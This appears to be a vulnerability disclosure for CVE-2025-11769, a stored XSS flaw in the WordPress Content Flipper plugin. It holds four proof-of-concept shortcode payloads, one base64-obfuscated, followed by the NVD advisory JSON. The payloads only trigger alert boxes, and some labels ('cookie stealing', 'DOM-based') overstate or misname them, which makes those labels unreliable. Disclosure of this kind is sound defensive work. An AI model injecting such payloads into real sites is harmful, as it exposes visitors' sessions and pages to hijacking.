CVE-2025-11769

// WordPress Content Flipper Plugin - Stored XSS PoC // Affected Component: flipper_front shortcode bgcolor attribute // Version: <= 0.1 // PoC 1: Basic XSS injection via bgcolor attribute [flipper_front bgcolor='" onmouseover="alert(document.domain)" style="width:100px;height:100px;background:red;"'] // PoC 2: Cookie stealing payload [flipper_front bgcolor='xss' style='--hover:expression(alert(document.cookie))'] // PoC 3: Session hijacking payload [flipper_front bgcolor='" autofocus onfocus="eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))" style="width:100px;height:100px;background:green;"'] // PoC 4: DOM-based XSS [flipper_front bgcolor='--><script>alert(String.fromCharCode(88,83,83))</script>']

{"cve": {"id": "CVE-2025-11769", "sourceIdentifier": "[email protected]", "published": "2025-11-13T09:15:46.820", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WordPress Content Flipper plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'bgcolor' shortcode attribute of the 'flipper_front' shortcode in all versions up to, and including, 0.1. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-flipper/tags/0.1/wp-flipper.php#L144", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-flipper/tags/0.1/wp-flipper.php#L258", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e4d591a6-4bbe-435b-aef6-ed176c42dca2?source=cve", "source": "[email protected]"}]}}